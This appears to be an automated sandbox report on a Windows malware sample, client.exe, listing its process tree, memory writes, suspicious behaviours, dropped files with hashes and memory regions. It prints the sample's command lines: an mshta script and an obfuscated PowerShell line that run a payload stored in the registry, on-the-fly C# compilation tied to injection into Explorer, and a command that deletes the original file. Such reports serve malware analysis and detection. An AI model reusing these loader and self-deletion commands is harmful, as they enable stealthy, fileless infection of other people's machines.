mshta.exepowershell.execsc.execsc.exeExplorer.EXEcmd.exedescription pid process target process PID 2776 wrote to memory of 696 2776 mshta.exe powershell.exe PID 2776 wrote to memory of 696 2776 mshta.exe powershell.exe PID 696 wrote to memory of 3084 696 powershell.exe csc.exe PID 696 wrote to memory of 3084 696 powershell.exe csc.exe PID 3084 wrote to memory of 4264 3084 csc.exe cvtres.exe PID 3084 wrote to memory of 4264 3084 csc.exe cvtres.exe PID 696 wrote to memory of 1164 696 powershell.exe csc.exe PID 696 wrote to memory of 1164 696 powershell.exe csc.exe PID 1164 wrote to memory of 3812 1164 csc.exe cvtres.exe PID 1164 wrote to memory of 3812 1164 csc.exe cvtres.exe PID 696 wrote to memory of 3176 696 powershell.exe Explorer.EXE PID 696 wrote to memory of 3176 696 powershell.exe Explorer.EXE PID 696 wrote to memory of 3176 696 powershell.exe Explorer.EXE PID 696 wrote to memory of 3176 696 powershell.exe Explorer.EXE PID 3176 wrote to memory of 3736 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 3736 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 3736 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 3736 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 4068 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 4068 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 4068 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 4068 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 4892 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 4892 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 4892 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 4892 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 772 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 772 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 772 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 772 3176 Explorer.EXE RuntimeBroker.exe PID 3176 wrote to memory of 2608 3176 Explorer.EXE cmd.exe PID 3176 wrote to memory of 2608 3176 Explorer.EXE cmd.exe PID 3176 wrote to memory of 2608 3176 Explorer.EXE cmd.exe PID 3176 wrote to memory of 5036 3176 Explorer.EXE cmd.exe PID 3176 wrote to memory of 5036 3176 Explorer.EXE cmd.exe PID 3176 wrote to memory of 5036 3176 Explorer.EXE cmd.exe PID 3176 wrote to memory of 5036 3176 Explorer.EXE cmd.exe PID 3176 wrote to memory of 2608 3176 Explorer.EXE cmd.exe PID 3176 wrote to memory of 2608 3176 Explorer.EXE cmd.exe PID 3176 wrote to memory of 5036 3176 Explorer.EXE cmd.exe PID 3176 wrote to memory of 5036 3176 Explorer.EXE cmd.exe PID 2608 wrote to memory of 4736 2608 cmd.exe PING.EXE PID 2608 wrote to memory of 4736 2608 cmd.exe PING.EXE PID 2608 wrote to memory of 4736 2608 cmd.exe PING.EXE PID 2608 wrote to memory of 4736 2608 cmd.exe PING.EXE PID 2608 wrote to memory of 4736 2608 cmd.exe PING.EXE
Processes
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3736
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4892
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4068
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:3176 -
C:\Users\Admin\AppData\Local\Temp\client.exe"C:\Users\Admin\AppData\Local\Temp\client.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4568 -
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "about:<hta:application><script>Pgys='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Pgys).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\2D69E7DB-A838-E7C3-1AB1-5C0BEE75506F\\\MemoryMusic'));if(!window.flag)close()</script>"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2776 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name kautjj -value gp; new-alias -name magesp -value iex; magesp ([System.Text.Encoding]::ASCII.GetString((kautjj "HKCU:Software\AppDataLow\Software\Microsoft\2D69E7DB-A838-E7C3-1AB1-5C0BEE75506F").LinkAbout))3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:696 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ecfkhfnu\ecfkhfnu.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:3084 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDFD1.tmp" "c:\Users\Admin\AppData\Local\Temp\ecfkhfnu\CSC561C7F846FD444F2ABAE10526EED4D30.TMP"5⤵PID:4264
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3mr4tw13\3mr4tw13.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:1164 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE0DA.tmp" "c:\Users\Admin\AppData\Local\Temp\3mr4tw13\CSCBD162832A03C403CAFAE449FE2528188.TMP"5⤵PID:3812
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\client.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2608 -
C:\Windows\system32\PING.EXEping localhost -n 53⤵
- Runs ping.exe
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:4736 -
C:\Windows\syswow64\cmd.exe"C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,2⤵PID:5036
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
PID:772
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe1⤵PID:2716
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k UnistackSvcGroup1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3396
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\3mr4tw13\3mr4tw13.dllFilesize
3KB
MD57a2da09ab758ac8cc53f469e16711e85
SHA14abac3a9cae5323fac5a7642db8b2fb56d73187f
SHA25685225ab6ca854ae64918a6735fc11a9bb7bcaf2d59c9714aefd5f2b27b3c037c
SHA5120e6b9bc64cce2fd0699258c4225c0b4b49e370b6df61eb3228965f9aaf5b61eaac8678c112fe091084d12b00cf683f00a7a91336b84a579b70cdd04b7da654c1
-
C:\Users\Admin\AppData\Local\Temp\RESDFD1.tmpFilesize
1KB
MD50f724730ffa70e6e44cdb9a942988c34
SHA10c1fd7c0247757ee4f6cb93827023bdc8daf867b
SHA25616224683d025dbfd1cb9443b8f18f0101c4502e405bde330635ee91b36bc3289
SHA5129cfca4a8a4773894935fd05db8c609d94222fdd1fa5f0eef4d4b25b3f6102a509af8e03cee3b5686beb348d581408b70ff46669b159f855b2b5145173bfb21bf
-
C:\Users\Admin\AppData\Local\Temp\RESE0DA.tmpFilesize
1KB
MD5ff96fcc39c07e7a4782a94bff407255c
SHA1558321c73c419c95d5d40557ff180e8abc339a04
SHA2561e4799a7636538120f8106be0f93c0d24a62c3f71cb153391fba6fd3995bcc61
SHA512b4515b8b9e7547fa1ac0cad794603efa4ce40ca7d288618190e6ce78429bd39d55c7f021551e57ca171939fa9cd59d21554615f479e24744b44bc7ffa84411da
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b24ty2si.ohr.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\ecfkhfnu\ecfkhfnu.dllFilesize
3KB
MD5935892fd21fda52709e4d948bbef8bd4
SHA178393ac0c5bcc2296fc51577c72134fce5e5a78b
SHA2566155b87bcc4d7dd3938afbe194340d253e433efc0c79afe505cb447db434ce84
SHA5126f1c6e2116521b6fbd242c931adeabec041dbc6e55d55cae2cd9fe5aec54cffa16d9b06e9c3aa0d688f4f40e2481a7c2656a4ec6bfeca96e70349e1b9d361067
-
\??\c:\Users\Admin\AppData\Local\Temp\3mr4tw13\3mr4tw13.0.csFilesize
406B
MD5ca8887eacd573690830f71efaf282712
SHA10acd4f49fc8cf6372950792402ec3aeb68569ef8
SHA256568b0c1155379c88e91f904f4e70a3608fbf664ef890309cd705a7c5eb3232c3
SHA5122a538a308db6c7d09224737f549d442b4c206e8e9605a2570149243ee11bf0c5f028ebf003b383f86709d0dd976ff66d15ccb700f50969ff3da64dd39cab25c7
-
\??\c:\Users\Admin\AppData\Local\Temp\3mr4tw13\3mr4tw13.cmdlineFilesize
369B
MD5913edaec36879e8e7024b19791e88061
SHA1e3ab47e8f0021aba569a8cc0766b0e1ca6278841
SHA2567109d5f7c97b7260af3338192bcd12aa7736a0e1856604c25b7aa77ae0e298c5
SHA512bd9e6c6c6273b8fec2277fb3c07719ca027c2e5e5d34e3b894ea93361ab8b21bccec7ccbf1fb1bb56075b5ed6023a69756529cff79be9fd462de4efaaca0a4bb
-
\??\c:\Users\Admin\AppData\Local\Temp\3mr4tw13\CSCBD162832A03C403CAFAE449FE2528188.TMPFilesize
652B
MD5373b4f15f9b28bde5523344f92b49115
SHA18520cb1db6e16d0c321bc6d15d14cdd6a3f447d1
SHA2568e6d5488bd7359bc773a40745df01fa3d30c785f59f5efce7584d00b259b7093
SHA512aa4048dae4f5b4030e2a86846ce435bcf6eecee0ecb5dbbd2d856f61610a3a952b66e2f584ea28788829a6ef53da5788969a0dce1dc823e768a9c56111cb66d1
-
\??\c:\Users\Admin\AppData\Local\Temp\ecfkhfnu\CSC561C7F846FD444F2ABAE10526EED4D30.TMPFilesize
652B
MD53148f8d17347658342b3532f48d2a256
SHA15fdd5ce51b2efd4ffb245a161fe8592399ff7402
SHA2561d6911a7ed6820c2391097a2ae4f63edb6c0b7929bd955e1dc3f569fdaeb6d91
SHA512c48ad7627cf71a80a79b80f2ebae0aeabdd568e0eb64304230783eaa8313fadef1dd2c794f43b15ba205ff5848ea7bd00f676505c369648f57ae4bd6e4468c69
-
\??\c:\Users\Admin\AppData\Local\Temp\ecfkhfnu\ecfkhfnu.0.csFilesize
405B
MD5caed0b2e2cebaecd1db50994e0c15272
SHA15dfac9382598e0ad2e700de4f833de155c9c65fa
SHA25621210b9baafb8b03ab0ef625312973a77bb5aba856c91892b65826e8b7c3b150
SHA51286dc4f8cedd37464c9c492c467375d4603715e5827dfaf7bfcfe5c46ce5e09b439139d4b0a756afa37e4c2444c5b169ac1c024217b9ba449edb183a3b53f2b62
-
\??\c:\Users\Admin\AppData\Local\Temp\ecfkhfnu\ecfkhfnu.cmdlineFilesize
369B
MD5ab18c9c93c089578fcf6a216dbc400ad
SHA1fc927668119c47213cd9ef99dbb7d87d3be41dc0
SHA256d0f593583af61dbe1b29282d143f9dab888bbd6b60313a5e27121ed95cd98e7a
SHA5124fbb35e1185a5e895dfe47e95f0295c415fdbb3a2a666af51202eb592b93eaaedd7489792718b0dfe6d03d5fd625600f7be5001d4d124aee9f7128d247a53fac
-
memory/696-41-0x000001A554630000-0x000001A554638000-memory.dmpFilesize
32KB
-
memory/696-70-0x00007FF9C3D80000-0x00007FF9C4841000-memory.dmpFilesize
10.8MB
-
memory/696-28-0x000001A554640000-0x000001A554650000-memory.dmpFilesize
64KB
-
memory/696-26-0x000001A554640000-0x000001A554650000-memory.dmpFilesize
64KB
-
memory/696-27-0x000001A554640000-0x000001A554650000-memory.dmpFilesize
64KB
-
memory/696-21-0x00007FF9C3D80000-0x00007FF9C4841000-memory.dmpFilesize
10.8MB
-
memory/696-16-0x000001A5545A0000-0x000001A5545C2000-memory.dmpFilesize
136KB
-
memory/696-55-0x000001A554960000-0x000001A554968000-memory.dmpFilesize
32KB
-
memory/696-57-0x000001A554970000-0x000001A5549AD000-memory.dmpFilesize
244KB
-
memory/696-71-0x000001A554970000-0x000001A5549AD000-memory.dmpFilesize
244KB
-
memory/772-92-0x00000284E3660000-0x00000284E3661000-memory.dmpFilesize
4KB
-
memory/772-91-0x00000284E35B0000-0x00000284E3654000-memory.dmpFilesize
656KB
-
memory/772-120-0x00000284E35B0000-0x00000284E3654000-memory.dmpFilesize
656KB
-
memory/2608-103-0x0000019EE7770000-0x0000019EE7771000-memory.dmpFilesize
4KB
-
memory/2608-119-0x0000019EE76C0000-0x0000019EE7764000-memory.dmpFilesize
656KB
-
memory/2608-98-0x0000019EE76C0000-0x0000019EE7764000-memory.dmpFilesize
656KB
-
memory/3176-59-0x0000000008D40000-0x0000000008DE4000-memory.dmpFilesize
656KB
-
memory/3176-60-0x0000000002B80000-0x0000000002B81000-memory.dmpFilesize
4KB
-
memory/3176-100-0x0000000008D40000-0x0000000008DE4000-memory.dmpFilesize
656KB
-
memory/3396-121-0x000001BD82A40000-0x000001BD82A50000-memory.dmpFilesize
64KB
-
memory/3396-137-0x000001BD82B40000-0x000001BD82B50000-memory.dmpFilesize
64KB
-
memory/3736-74-0x00000182ED3F0000-0x00000182ED3F1000-memory.dmpFilesize
4KB
-
memory/3736-73-0x00000182ED610000-0x00000182ED6B4000-memory.dmpFilesize
656KB
-
memory/3736-113-0x00000182ED610000-0x00000182ED6B4000-memory.dmpFilesize
656KB
-
memory/4068-79-0x000001EBC1E90000-0x000001EBC1F34000-memory.dmpFilesize
656KB
-
memory/4068-116-0x000001EBC1E90000-0x000001EBC1F34000-memory.dmpFilesize
656KB
-
memory/4068-80-0x000001EBC1E50000-0x000001EBC1E51000-memory.dmpFilesize
4KB
-
memory/4568-5-0x0000000000400000-0x000000000040F000-memory.dmpFilesize
60KB
-
memory/4568-0-0x00000000013F0000-0x00000000013FF000-memory.dmpFilesize
60KB
-
memory/4568-11-0x0000000003010000-0x000000000301D000-memory.dmpFilesize
52KB
-
memory/4568-1-0x00000000013E0000-0x00000000013EC000-memory.dmpFilesize
48KB
-
memory/4736-118-0x000001FE175B0000-0x000001FE17654000-memory.dmpFilesize
656KB
-
memory/4736-110-0x000001FE175B0000-0x000001FE17654000-memory.dmpFilesize
656KB
-
memory/4736-111-0x000001FE17430000-0x000001FE17431000-memory.dmpFilesize
4KB
-
memory/4892-85-0x00000176D7A80000-0x00000176D7B24000-memory.dmpFilesize
656KB
-
memory/4892-117-0x00000176D7A80000-0x00000176D7B24000-memory.dmpFilesize
656KB
-
memory/4892-86-0x00000176D7860000-0x00000176D7861000-memory.dmpFilesize
4KB
-
memory/5036-108-0x0000000001520000-0x00000000015B8000-memory.dmpFilesize
608KB
-
memory/5036-106-0x0000000000DF0000-0x0000000000DF1000-memory.dmpFilesize
4KB
-
memory/5036-99-0x0000000001520000-0x00000000015B8000-memory.dmpFilesize
608KB